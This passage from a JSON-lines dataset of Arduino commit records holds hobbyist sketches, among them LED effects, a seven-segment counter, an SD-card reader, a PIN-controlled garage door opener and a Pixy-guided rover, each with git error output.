OUTPUT);\ndigitalWrite(PIN,HIGH);\ndelay(DELAY_MS);\ndigitalWrite(PIN,LOW);\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"unlicense","lang":"Arduino"} {"commit":"f18dbf4726fb7f70fc228ba24d34d252c5beac66","subject":"initial commit","message":"initial commit\n","repos":"simonlovgren\/Arduino-Flight-TX","old_file":"flight_controller_tx.ino","new_file":"flight_controller_tx.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/simonlovgren\/Arduino-Flight-TX.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5d1f98b098e9a3d057153d36005ce7a4459817c7","subject":"Create ramdemo.ino","message":"Create ramdemo.ino","repos":"kaaLabs15\/mcp7940","old_file":"examples\/ramdemo\/ramdemo.ino","new_file":"examples\/ramdemo\/ramdemo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kaaLabs15\/mcp7940.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ac99a78a9edb90cd310beaa8e49f28209a1a9c73","subject":"Arduino game","message":"Arduino game\n","repos":"chop0\/main,chop0\/main","old_file":"game\/game.ino","new_file":"game\/game.ino","new_contents":"const int ledCount = 10;\n\nint ledPins[] = { \n 2, 3, 4, 5, 6, 7,8,9,10,11 };\n\n\nvoid setup() {\n for (int thisLed = 0; thisLed < ledCount; thisLed++) {\n pinMode(ledPins[thisLed], OUTPUT); \n }\n}\n\nvoid loop() {\n int difficulty = analogRead(A0);\n digitalWrite(2, HIGH);\n delay(difficulty);\n digitalWrite(2, LOW);\n digitalWrite(3, HIGH);\n delay(difficulty);\n digitalWrite(3, LOW);\n digitalWrite(4, HIGH);\n delay(difficulty);\n digitalWrite(4, LOW);\n digitalWrite(5, HIGH);\n delay(difficulty);\n digitalWrite(5, LOW);\n digitalWrite(6, HIGH);\n delay(difficulty);\n digitalWrite(6, LOW);\n digitalWrite(7, HIGH);\n delay(difficulty);\n digitalWrite(7, LOW);\n digitalWrite(8, HIGH);\n delay(difficulty);\n digitalWrite(8, LOW);\n int pin = 8;\n pin+-1;\n if (digitalRead(10) == HIGH) {\n digitalWrite(8, HIGH);\n if (pin == 8) {\n int theLed = 2;\n Serial.write(\"You won!\");\n while (true) {\n if (theLed == 8) {\n theLed+-6;\n }\n digitalWrite(ledPins[theLed], HIGH);\n delay(500);\n digitalWrite(ledPins[theLed], LOW);\n delay(500);\n theLed++;\n }\n }\n }\n delay(difficulty);\n pin++;\n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2bda96d99cc6f76090760d5d2737d7872652cde5","subject":"PALETTED8 full-screen example","message":"PALETTED8 full-screen example\n","repos":"jamesbowman\/gd2-lib,jamesbowman\/gd2-lib,jamesbowman\/gd2-lib","old_file":"examples\/paletted.ino","new_file":"examples\/paletted.ino","new_contents":"#include <EEPROM.h>\n#include <SPI.h>\n#include <GD2.h>\n\nuint32_t addr_pal = 0xffc00UL;\n\nvoid setup()\n{\n GD.begin(0);\n GD.BitmapLayout(PALETTED8, GD.w, GD.h);\n GD.BitmapSize(NEAREST, BORDER, BORDER, GD.w, GD.h);\n GD.BitmapSource(0);\n GD.Begin(BITMAPS);\n GD.BlendFunc(ONE, ZERO);\n\n GD.ColorMask(1, 0, 0, 0);\n GD.PaletteSource(addr_pal + 2);\n GD.Vertex2f(0, 0);\n\n GD.ColorMask(0, 1, 0, 0);\n GD.PaletteSource(addr_pal + 1);\n GD.Vertex2f(0, 0);\n\n GD.ColorMask(0, 0, 1, 0);\n GD.PaletteSource(addr_pal + 0);\n GD.Vertex2f(0, 0);\n GD.swap();\n\n \/\/ randomize the palette\n for (int i = 0; i < 1024; i++)\n GD.wr(addr_pal + i, GD.random());\n}\n\nvoid loop()\n{\n \/\/ fill the whole screen with random bytes\n for (int y = 0; y < GD.h; y++)\n for (int x = 0; x < GD.w; x++)\n GD.wr(800 * y + x, GD.random());\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/paletted.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"b891630d7f14fdd51836d3670a72fad7cdd39e52","subject":"Initial commit","message":"Initial commit\n\nLEDs pulse and cycle through colors every few pulses.\n","repos":"jtai\/blinkytape-orb,jtai\/blinkytape-orb","old_file":"arduino\/blinkytape_orb.ino","new_file":"arduino\/blinkytape_orb.ino","new_contents":"#include \"FastLED.h\"\n\n\/* hardware *\/\n#define NUM_LEDS 12\n\n#define DATA_PIN 3\n\n\/* visuals *\/\n#define PULSE_MAX_VAL 255\n#define PULSE_MIN_VAL 160\n#define PULSE_CYCLE 2000\n#define PULSE_DELAY PULSE_CYCLE \/ (PULSE_MAX_VAL - PULSE_MIN_VAL)\n\n#define CHANGE_MIN_VAL 64\n#define CHANGE_CYCLE 500\n#define CHANGE_DELAY CHANGE_CYCLE \/ (PULSE_MIN_VAL - CHANGE_MIN_VAL)\n\n\/* demo mode *\/\n#define DEMO_PULSES 5\n\n\/* state *\/\nCRGB leds[NUM_LEDS];\nuint8_t hue = HUE_RED;\nuint8_t demo_pulse_count = 0;\n\nvoid setup() {\n FastLED.addLeds<NEOPIXEL, DATA_PIN>(leds, NUM_LEDS);\n\n for (uint8_t i = 0; i < NUM_LEDS; i++) {\n leds[i] = CHSV(hue, 255, PULSE_MAX_VAL);\n }\n}\n\nvoid loop() {\n demo_pulse_count = (demo_pulse_count + 1) % DEMO_PULSES;\n\n for (uint8_t v = PULSE_MAX_VAL; v > PULSE_MIN_VAL; v--) {\n for (uint8_t i = 0; i < NUM_LEDS; i++) {\n leds[i] = CHSV(hue, 255, v);\n }\n FastLED.show();\n delay(PULSE_DELAY);\n }\n\n \/* demo mode *\/\n if (demo_pulse_count == 0) {\n for (uint8_t v = PULSE_MIN_VAL; v > CHANGE_MIN_VAL; v--) {\n for (uint8_t i = 0; i < NUM_LEDS; i++) {\n leds[i] = CHSV(hue, 255, v);\n }\n FastLED.show();\n delay(CHANGE_DELAY);\n }\n\n hue = (hue + 32) % 255;\n\n for (uint8_t v = CHANGE_MIN_VAL; v < PULSE_MIN_VAL; v++) {\n for (uint8_t i = 0; i < NUM_LEDS; i++) {\n leds[i] = CHSV(hue, 255, v);\n }\n FastLED.show();\n delay(CHANGE_DELAY);\n }\n }\n\n for (uint8_t v = PULSE_MIN_VAL; v < PULSE_MAX_VAL; v++) {\n for (uint8_t i = 0; i < NUM_LEDS; i++) {\n leds[i] = CHSV(hue, 255, v);\n }\n FastLED.show();\n delay(PULSE_DELAY);\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"381b4c9aae91e0097b64d265eb3bdf6db6a6b189","subject":"print a file to stdout","message":"print a file to stdout\n","repos":"linsalrob\/AtlasSensors,linsalrob\/AtlasSensors","old_file":"Arduino\/read_files\/read_files.ino","new_file":"Arduino\/read_files\/read_files.ino","new_contents":"#include <SD.h>\n\n\n\nFile myFile;\n\nvoid setup()\n{\n \n Serial.begin(9600);\n Serial.print(\"Initializing SD card...\");\n \/\/ On the Ethernet Shield, CS is pin 4. It's set as an output by default.\n \/\/ Note that even if it's not used as the CS pin, the hardware SS pin \n \/\/ (10 on most Arduino boards, 53 on the Mega) must be left as an output \n \/\/ or the SD library functions will not work. \n pinMode(10, OUTPUT);\n \n if (!SD.begin(10)) {\n Serial.println(\"initialization failed!\");\n return;\n }\n Serial.println(\"initialization done.\");\n\n \n \/\/ open the file for reading:\n myFile = SD.open(\"OUTPUT.txt\");\n if (myFile) {\n Serial.println(\"OUTPUT.txt:\");\n \n \/\/ read from the file until there's nothing else in it:\n while (myFile.available()) {\n Serial.write(myFile.read());\n }\n \/\/ close the file:\n myFile.close();\n } else {\n \/\/ if the file didn't open, print an error:\n Serial.println(\"error opening test.txt\");\n }\n}\n \nvoid loop()\n{\n \/\/ nothing happens after setup\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/read_files\/read_files.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"376cba136a5eedf44b50f21006dcb5dcb63c89c3","subject":"test where code resets on power loss","message":"test where code resets on power loss\n","repos":"Duke-Medical-Instrumentation\/Inception","old_file":"Source\/SimpleResetTest\/SimpleResetTest.ino","new_file":"Source\/SimpleResetTest\/SimpleResetTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Duke-Medical-Instrumentation\/Inception.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"23c2f3067cca33dac5a34516bd9c0e4968f16cca","subject":"wrote a sketch to erase all cards","message":"wrote a sketch to erase all cards\n","repos":"gibatronic\/sesame,gibatronic\/sesame,gibatronic\/sesame","old_file":"etc\/erase-cards.ino","new_file":"etc\/erase-cards.ino","new_contents":"#include <Arduino.h>\n#include <EEPROM.h>\n\nvoid loop();\nvoid setup();\n\nvoid loop() {\n};\n\nvoid setup() {\n pinMode(LED_BUILTIN, OUTPUT);\n digitalWrite(LED_BUILTIN, LOW);\n\n unsigned int index;\n unsigned int length = EEPROM.length();\n\n for (index = 0; index < length; index++) {\n EEPROM.update(index, 0);\n };\n\n digitalWrite(LED_BUILTIN, HIGH);\n};\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'etc\/erase-cards.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cc2a46a8a1b8cfa563ca0b4d256c4665509ecd6a","subject":"first test with 7 segments displayer and interruptor","message":"first test with 7 segments displayer and interruptor\n","repos":"ThibaultFriedrich\/arduino-discovery,ThibaultFriedrich\/arduino-discovery,ThibaultFriedrich\/arduino-discovery,ThibaultFriedrich\/arduino-discovery,ThibaultFriedrich\/arduino-discovery","old_file":"_7segments_ino\/_7segments_ino.ino","new_file":"_7segments_ino\/_7segments_ino.ino","new_contents":"\/* On assigne chaque LED \u00e0 une broche de l'arduino *\/\nconst int A = 2;\nconst int B = 3;\nconst int C = 4;\nconst int D = 5;\nconst int E = 6;\nconst int F = 7;\nconst int G = 8;\n\/\/notez que l'on ne g\u00e8re pas l'affichage du point, mais vous pouvez le rajouter si cela vous chante\n \nconst int button = 11; \n \nint buttonState; \n \nint i = 0;\n\nint incr = 1;\n \nint tab[10][7] = {\n {LOW, LOW, LOW, LOW, LOW, LOW, HIGH}, \/\/ write 0 \n {HIGH, LOW, LOW, HIGH, HIGH, HIGH, HIGH}, \/\/ write 1\n {LOW, LOW, HIGH, LOW, LOW, HIGH, LOW}, \/\/write 2\n {LOW, LOW, LOW, LOW, HIGH, HIGH, LOW}, \/\/write 3\n {HIGH, LOW, LOW, HIGH, HIGH, LOW, LOW}, \/\/write 4\n {LOW, HIGH, LOW, LOW, HIGH, LOW, LOW}, \/\/write 5\n {LOW, HIGH, LOW, LOW, LOW, LOW, LOW}, \/\/write 6\n {LOW, LOW, LOW, HIGH, HIGH, HIGH, HIGH}, \/\/write 7\n {LOW, LOW, LOW, LOW, LOW, LOW, LOW}, \/\/write 8\n {LOW, LOW, LOW, LOW, HIGH, LOW, LOW} \/\/write 9\n};\n \n \nvoid print(int number){\n digitalWrite(A, tab[number][0]);\n digitalWrite(B, tab[number][1]);\n digitalWrite(C, tab[number][2]);\n digitalWrite(D, tab[number][3]);\n digitalWrite(E, tab[number][4]);\n digitalWrite(F, tab[number][5]);\n digitalWrite(G, tab[number][6]);\n}\n \nvoid setup()\n{\n Serial.begin(9600); \n \n \/\/d\u00e9finition des broches en sortie\n pinMode(A, OUTPUT);\n pinMode(B, OUTPUT);\n pinMode(C, OUTPUT);\n pinMode(D, OUTPUT);\n pinMode(E, OUTPUT);\n pinMode(F, OUTPUT);\n pinMode(G, OUTPUT);\n \n pinMode(button, INPUT);\n \n \n \/\/mise \u00e0 l'\u00e9tat HAUT de ces sorties pour \u00e9teindre les LED de l'afficheur\n digitalWrite(A, HIGH);\n digitalWrite(B, HIGH);\n digitalWrite(C, HIGH);\n digitalWrite(D, HIGH);\n digitalWrite(E, HIGH);\n digitalWrite(F, HIGH);\n digitalWrite(G, HIGH);\n \n digitalWrite(button, HIGH);\n}\n\nvoid loop()\n{\n buttonState = digitalRead(button);\n if(buttonState == LOW){\n incr = - incr;\n Serial.println(\"pushed\");\n }\n \n print(i);\n \n i += incr;\n if(i == 10 && incr == 1){\n i = 0;\n } else if (i == -1 && incr -1){\n i = 9; \n }\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_7segments_ino\/_7segments_ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6ed3043c261bfc262ce218b5e9dc4f8b1896d52d","subject":"Create FLC_DOOR_V1.ino","message":"Create FLC_DOOR_V1.ino","repos":"kanurys\/FLC_Garage_Door_v1","old_file":"SparkCode\/FLC_DOOR_V1.ino","new_file":"SparkCode\/FLC_DOOR_V1.ino","new_contents":"\/*\nGarage Door Opener, v1, 04\/21\/2015\nby Sesh Kanury\n\nAnyone is free to use this software as long as credit is given to the author\nand it is only used for means of a good nature.\n\nEat my shorts.\n*\/\n\n#define DOOR_BUTTONS 3;\n\n\n\n\n\nint Up_Pin = D0;\nint Down_Pin = D1;\nint Stop_Pin = D2;\nint Upper_Limit_Pin = D4;\nint Lower_Limit_Pin = D5;\n\nint last_Upper_Limit_state;\nint last_Lower_Limit_state;\n\nunsigned long last_publish = 0;\nunsigned long publish_interval = 60000;\nunsigned long last_change_publish = 0;\nunsigned long change_publish_interval = 750;\n\n\n\n\n\nint pinArraySize = 22;\n\nstruct structEEPROM {\n double crc; \/\/cycle redundancy check - if memory is not intact, set all to defaults\n int adminPin;\n int pinArray[22];\n};\n\nunion {\n structEEPROM settings;\n char eeArray[sizeof(structEEPROM)];\n} EEPROMData;\n\n\n\n\n\n\n\n\/\/declare spark function\nint get_web_message(String command);\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/************************************ stamdard SETUP ************************************\/\nvoid setup() {\n Serial.begin(9600);\n \n \/\/register spark function\n Spark.function(\"from_web\", get_web_message);\n Spark.variable(\"pinArray\", EEPROMData.settings.pinArray, INT);\n \n pinMode(Up_Pin, OUTPUT);\n pinMode(Down_Pin, OUTPUT);\n pinMode(Stop_Pin, OUTPUT);\n pinMode(Upper_Limit_Pin, INPUT);\n pinMode(Lower_Limit_Pin, INPUT);\n \n digitalWrite(Up_Pin, LOW);\n digitalWrite(Down_Pin, LOW);\n digitalWrite(Stop_Pin, LOW);\n \n readEEPROM();\n \/\/EEPROMData.settings.adminPin = 99999;\n if(EEPROMData.settings.crc != 1234.56){\n setDefaultEEPROM();\n }\n consolidate_access_pins();\n writeEEPROM();\n}\n\/****************************************************************************************\/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/************************************ standard LOOP *************************************\/\nvoid loop() {\n unsigned long now = millis();\n \n if(now-last_change_publish > change_publish_interval){\n last_change_publish = now; \n if(check_for_limit_switch_change()) publish_door_state();\n }\n \n if(now-last_publish > publish_interval){\n last_publish = now;\n publish_door_state();\n }\n}\n\/****************************************************************************************\/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/****************************** Detect Limit Switch Change ******************************\/\nint check_for_limit_switch_change(){\n int upper_state = digitalRead(Upper_Limit_Pin);\n int lower_state = digitalRead(Lower_Limit_Pin);\n int result = 0;\n \n if(upper_state != last_Upper_Limit_state || lower_state != last_Lower_Limit_state) result = 1;\n \n last_Upper_Limit_state = upper_state;\n last_Lower_Limit_state = lower_state;\n \n return result;\n}\n\/****************************************************************************************\/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/************************************ publish to web ************************************\/\nvoid publish_door_state(){\n String message = update_door_state();\n Spark.publish(\"doorState\", message);\n \n Serial.println(message);\n}\n\/****************************************************************************************\/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/********************************** update door state ***********************************\/\nString update_door_state(){\n int upper_state = digitalRead(Upper_Limit_Pin);\n int lower_state = digitalRead(Lower_Limit_Pin);\n\n if(!upper_state && !lower_state) return \"{\\\"state\\\":\\\"Half\\\"}\";\n if(upper_state && !lower_state) return \"{\\\"state\\\":\\\"Open\\\"}\";\n if(!upper_state && lower_state) return \"{\\\"state\\\":\\\"Closed\\\"}\";\n if(upper_state && lower_state) return \"{\\\"state\\\":\\\"Error\\\"}\";\n \n return \"{\\\"state\\\":\\\"Debug\\\"}\";\n}\n\/****************************************************************************************\/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/************************************** do web com **************************************\/\n\/\/All pin numbers must be 5 digits\n\/\/This expects a string beginning with a pin number to identify the user.\n\/\/The next character should be a character representing the action, as follows:\n\/\/<pin>O = open the door\n\/\/<pin>C = close the door\n\/\/<pin>S = stop the door\n\/\/<adminPin>D<pin> = delete <pin> from users\n\/\/<adminPin>A<pin> = add <pin> to users\n\/\/<adminPin>L<pin> = list all pins\n\/\/<adminPin>N<pin> = change admin pin to <pin>\nint get_web_message(String command){\n Serial.print(\"Command: \");Serial.println(command);\n \/\/declared in the order they are in String command\n char command_pin[5];\n char command_character;\n char command_new_pin[5];\n \n int pin;\n int new_pin;\n \n unsigned int k;\n for(k=0; k<sizeof(command_pin); k++){\n command_pin[k] = 0;\n command_new_pin[k] = 0;\n }\n \n \/\/parse and convert the recieved user pin to and int\n for(k=0; k<sizeof(command_pin); k++) command_pin[k] = command[k];\n pin = atoi(command_pin);\n Serial.print(\"ATOI pin: \"); Serial.println(pin);\n \/\/parse the recieved command character\n command_character = command[5];\n Serial.print(\"command_character: \");Serial.println(command_character);\n \/\/0=wrong pin or no pin\n \/\/1=user pin\n \/\/2=admin pin\n int validation = validate_pin(pin);\n Serial.print(\"Validation: \"); Serial.println(validation);\n switch(validate_pin(pin)){\n case 0:\n break;\n case 1:\n Serial.println(\"USER\");\n control_door(command_character);\n break;\n case 2:\n \/\/Serial.println(\"ADMIN\");\n \/\/parse and convert the recieved NEW user pin to and int if it exists\n \/\/otherwise abort\n if(sizeof(command) > (sizeof(command_pin)+1)){\n for(k=0; k<sizeof(command_new_pin); k++) command_new_pin[k] = command[k+6];\n new_pin = atoi(command_new_pin);\n Serial.print(\"new_pin: \"); Serial.println(new_pin);\n }else return -1;\n manage_access(command_character, new_pin);\n break;\n default:\n break;\n }\n \n \n unsigned long now = millis();\n if(now-last_publish > 1000){\n last_publish = now;\n publish_door_state();\n }\n \n writeEEPROM();\n \n return 0;\n}\n\/****************************************************************************************\/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/*********************************** control the door ***********************************\/\nvoid control_door(char command){\n Serial.print(\"control_door: \"); Serial.println(command);\n switch(command){\n case 'O':\n Serial.println(\"opening\");\n digitalWrite(Up_Pin, HIGH);\n delay(500); \/\/slow things down so it looks like a human pushed the button.\n digitalWrite(Up_Pin, LOW);\n break;\n case 'C':\n Serial.println(\"closing\");\n digitalWrite(Down_Pin, HIGH);\n delay(500); \/\/slow things down so it looks like a human pushed the button.\n digitalWrite(Down_Pin, LOW); \n break;\n case 'S':\n Serial.println(\"stopping\");\n digitalWrite(Stop_Pin, HIGH);\n delay(500); \/\/slow things down so it looks like a human pushed the button.\n digitalWrite(Stop_Pin, LOW); \n break;\n default:\n Serial.println(\"nothing\");\n break;\n }\n}\n\/****************************************************************************************\/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/************************************* validate pin *************************************\/\nint validate_pin(int pin){\n Serial.print(\"validate_pin: \");Serial.println(pin);\n Serial.print(\"Admin PIN: \"); Serial.println(EEPROMData.settings.adminPin);\n \/\/unsigned int k = 0;\n int search_result = -1;\n \/\/Serial.print(\"adminPin: \");Serial.println(EEPROMData.settings.adminPin);\n \n if(pin == EEPROMData.settings.adminPin) return 2;\n else search_result = search_for_matching_pin(pin);\n if(search_result >= 0) return 1;\n else return 0;\n}\n\/****************************************************************************************\/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/******************************* Admin Access Management ********************************\/\nvoid manage_access(char command, int new_pin){\n Serial.println(command);\n Serial.println(new_pin);\n \n int search_result;\n int k = 0;\n char publish_pin[63];\n for(k=0;k<sizeof(publish_pin);k++) publish_pin[k] = 0;\n \n switch(command){\n case 'D':\n search_result = search_for_matching_pin(new_pin);\n if(search_result != -1){\n EEPROMData.settings.pinArray[search_result] = 0;\n consolidate_access_pins();\n }\n break;\n case 'A':\n search_result = search_for_matching_pin(0);\n if(new_pin != 0 && search_for_matching_pin(new_pin) == -1 && search_result != -1)\n EEPROMData.settings.pinArray[search_result] = new_pin;\n break;\n case 'L':\n for(k=0;k<pinArraySize;k++){\n sprintf(publish_pin, \"{\\\"pin\\\":\\\"%i\\\"}\", EEPROMData.settings.pinArray[k]);\n Spark.publish(\"pin_list\", publish_pin);\n Serial.print(EEPROMData.settings.pinArray[k]); Serial.print(\" \"); Serial.println(publish_pin);\n }\n break;\n case 'N':\n if(new_pin > 9999 || new_pin < 100000)\n EEPROMData.settings.adminPin = new_pin;\n break;\n case 'Z':\n setDefaultEEPROM();\n break;\n \n }\n}\n\/****************************************************************************************\/\n\n\n\n\n\n\n\n\n\n\n\n\n\/*********************************** search for PINs ************************************\/\nint search_for_matching_pin(int pin){\n int k;\n for(k=0; k<pinArraySize;k++){\n if(pin == EEPROMData.settings.pinArray[k]) return k;\n }\n return -1;\n}\n\/****************************************************************************************\/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/*********************************** consolidate pins ***********************************\/\n\/\/this puts all the pins in the array in the first cells available\n\/\/then fills the rest of the array with zeros\nvoid consolidate_access_pins(){\n unsigned int k = 0;\n int index_counter = 0;\n int temp_array[pinArraySize];\n for(k=0;k<pinArraySize;k++) temp_array[k] = EEPROMData.settings.pinArray[k];\n\n \n \/\/store the non-zero numbers in sequence from index 0\n for(k=0; k<pinArraySize;k++){\n if(temp_array[k]>9999 && temp_array[k]<100000){\n EEPROMData.settings.pinArray[index_counter] = temp_array[k];\n index_counter++;\n }\n }\n \/\/handle array over-count reference \n if(index_counter < pinArraySize)\n \/\/fill the remaining cells with zeros\n for(k=index_counter; k<pinArraySize; k++){\n EEPROMData.settings.pinArray[k] = 0;\n }\n}\n\/****************************************************************************************\/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/*********************************** EEPROM functions ***********************************\/\nvoid readEEPROM(){\n for(unsigned int i=0; i<sizeof(structEEPROM); i++){\n EEPROMData.eeArray[i] = EEPROM.read(i);\n }\n}\n\nvoid writeEEPROM(){\n for(unsigned int i=0; i<sizeof(structEEPROM); i++){\n EEPROM.write(i, EEPROMData.eeArray[i]);\n }\n}\n\nvoid setDefaultEEPROM(){\n EEPROMData.settings.crc = 1234.56;\n unsigned int k=0;\n for(k=0;k<pinArraySize;k++) EEPROMData.settings.pinArray[k] = 0;\n EEPROMData.settings.adminPin = 11111;\n \n writeEEPROM();\n}\n\/****************************************************************************************\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SparkCode\/FLC_DOOR_V1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"39ad5e291ad3601087b03e918e6c1584fa6c3f5a","subject":"Create pixy-rover.ino","message":"Create pixy-rover.ino","repos":"hpssjellis\/pixy-spark-core-rover","old_file":"pixy-rover.ino","new_file":"pixy-rover.ino","new_contents":"\/\/ By Jeremy Ellis.\n\/\/ Rover should move slowly unless several seconds no response from the pixy then it should stop.\n\/\/ should move left or right based on where the object is.\n\/\/ should stop if the object gets to big a width ie it is close.\n\n\n\n\/* Globals -------------------------------------------------------------------*\/\n\/\/ Note my pololu big motor driver needs two digital and one analog PWM controls for the drive motor VNH5019\n\/\/ https:\/\/www.pololu.com\/product\/1451\n\nint myForward = D6; \/\/ set or change these as needed\nint myBackward = D5; \/\/ set or change these as needed\nint myDriveMotor = A0; \n\n\n\n\/\/ I am using the cheap pololu motor driver that only needs one digital and one analog pins for the turning motor DRV8835\n\/\/ https:\/\/www.pololu.com\/product\/2135 note: this can drive two motors but I needed the bigger driver for the 2.3 amp drivemotor\n\nint myLeftRight = D0; \/\/ different motor driver does both left and right\nint myTurnMotor = A1; \/\/A4; \/\/ this one must be changed since it is used by the Pixy along with A3,A4,A5\n\nint myD7 = D7; \/\/ to test if wifi is working\nint myLast = Time.now(); \/\/ for emergency motor stop after 4 s no activity from the pixy\n\n\n\n\n\n\n\n\/\/ Begin User Defined Defines\n#define FRAME_SKIP 25 \/\/ How many frames to skip. Lower numbers cause faster response\n\/\/ End User Defined Defines\n\n\/\/ #include \"SPI.h\" \/\/ got rid of this since it would not compile\n#include \"Pixy.h\"\n#include \"TPixy.h\"\n\n\n\/\/ Not sure how to flash new code so will not do this yet. Just carry my cll with hotspot turned on.\n\/\/SYSTEM_MODE(MANUAL); \/\/ Set the system mode to manual. We don't need the cloud for this code\n\n\nPixy pixy; \/\/ Create our pixy object\nint i = 0; \/\/ Create an int to count for frame skipping. Frame skipping is used to artificially slow down the pixy loop\n\n\/\/ Setup - Runs Once @ Startup\nvoid setup() { \n\/\/ Spark.function(\"my-main\", myMain); \n pinMode(myDriveMotor, OUTPUT);\n pinMode(myForward, OUTPUT);\n pinMode(myBackward, OUTPUT);\n \n pinMode(myTurnMotor, OUTPUT);\n pinMode(myLeftRight, OUTPUT);\n\n pinMode(myD7, OUTPUT); \n \n \n \n \n \/\/PUT YOUR SETUP CODE HERE. Note: Only three more functions allowed!\n \/\/ test everything using the return int from a function!\n \n \n \/\/RGB.control(true);\n \/\/RGB.color(0, 255, 255); \/\/cyan\n RGB.brightness(1); \/\/ 1=very low light, 255 = max\n\n\n Serial.begin(9600); \/\/ Initalize the USB Serial port\n pixy.init(); \/\/ Initalize the pixy object\n}\n\n\/\/ Loop - Runs over and over\nvoid loop(){ \n \n \n \n RGB.brightness(1); \n if (Time.now() >= myLast + 4){ \/\/ car may be out of control or wifi down or pixy down\n \n analogWrite(myDriveMotor, 0); \/\/ shut both motors down\n analogWrite(myTurnMotor, 0); \n RGB.brightness(100); \/\/ show that no processing lately\n }\n \n \n \n \/\/ Variable Creation \n uint16_t blocks; \/\/ Create an unsigned int to hold the number of found blocks\n char buf[50]; \/\/ Create a buffer for printing over serial\n int myX, myWidth;\n\n blocks = pixy.getBlocks(); \/\/ Do the pixy stuff. Grab the numbers of blocks the pixy finds\n \n \/\/ If we have some blocks increment the frame counter (i) and if enough frames have passed print out data about the found blocks to the serial port\n if (blocks) {\n myLast = Time.now(); \/\/ update time to see if car still in wifi control\n \n \n \n \n \n \n \n myX = pixy.blocks[0].x; \/\/ Deal with all the turning x = 0 - 319\n \n \n if (myX < 130){ \/\/object on the left so car should turn left\n digitalWrite(myLeftRight, 1);\n analogWrite(myTurnMotor, 200); \/\/200 - myX); \/\/ turn sharper if more left\n } \n \n if (myX >= 130 && myX <= 190 ){ \/\/Stop turning\n analogWrite(myTurnMotor, 0); \n } \n \n if (myX > 190){ \/\/object on the right so car should turn right\n digitalWrite(myLeftRight, 0);\n analogWrite(myTurnMotor, 200); \/\/myX - 120); \/\/ turn sharper if more right\n } \n \n\n \n \n \n \n \n \n myWidth = pixy.blocks[0].width; \/\/ deal with the speed of the rover width = 0 - 320\n \n if (myWidth <= 20 ){ \/\/ Object is very far away, small so stop\n analogWrite(myDriveMotor, 0);\n } \n \n \n if (myWidth > 20 && myWidth < 70){ \/\/Object is far away so go faster\n digitalWrite(myForward, 1);\n digitalWrite(myBackward, 0);\n analogWrite(myDriveMotor, 250);\n } \n \n if (myWidth >= 70 && myWidth <= 140){ \/\/ object a good distance away go a medium speed 0-250\n digitalWrite(myForward, 1);\n digitalWrite(myBackward, 0);\n analogWrite(myDriveMotor, 110); \/\/slow \/\/250 - (myWidth * 2));\n }\n \n if ( myWidth > 140){ \/\/ Object is very wide, so it is to0 close, so stop\n analogWrite(myDriveMotor, 0);\n } \n \n \n \n \n \n \n } \/\/ end blocks\n} \/\/ end loop\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pixy-rover.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"109b2e8c7fadc305cc9079a6350b44524b1b355e","subject":"Initial version of strip dimmer with just PWM and some commented out Serial control","message":"Initial version of strip dimmer with just PWM and some commented out Serial control\n","repos":"realrolfje\/StripDimmer,realrolfje\/StripDimmer","old_file":"StripDimmer.ino","new_file":"StripDimmer.ino","new_contents":"\nconst int redPin = 9;\nconst int greenPin = 10;\nconst int bluePin = 11;\n\nint red = 0;\nint green = 0;\nint blue = 0;\n\nint lowRed = 22;\nint lowGreen = 2;\nint lowBlue = 0;\n\nint highRed = 255;\nint highGreen= 145;\nint highBlue = 45;\n\nint inc = 2;\n\nvoid setup() {\n Serial.begin(57600);\n \n \/\/ put your setup code here, to run once:\n pinMode(redPin, OUTPUT); \n pinMode(greenPin, OUTPUT); \n pinMode(bluePin, OUTPUT); \n \n stripColor(red,green,blue);\n\/\/ 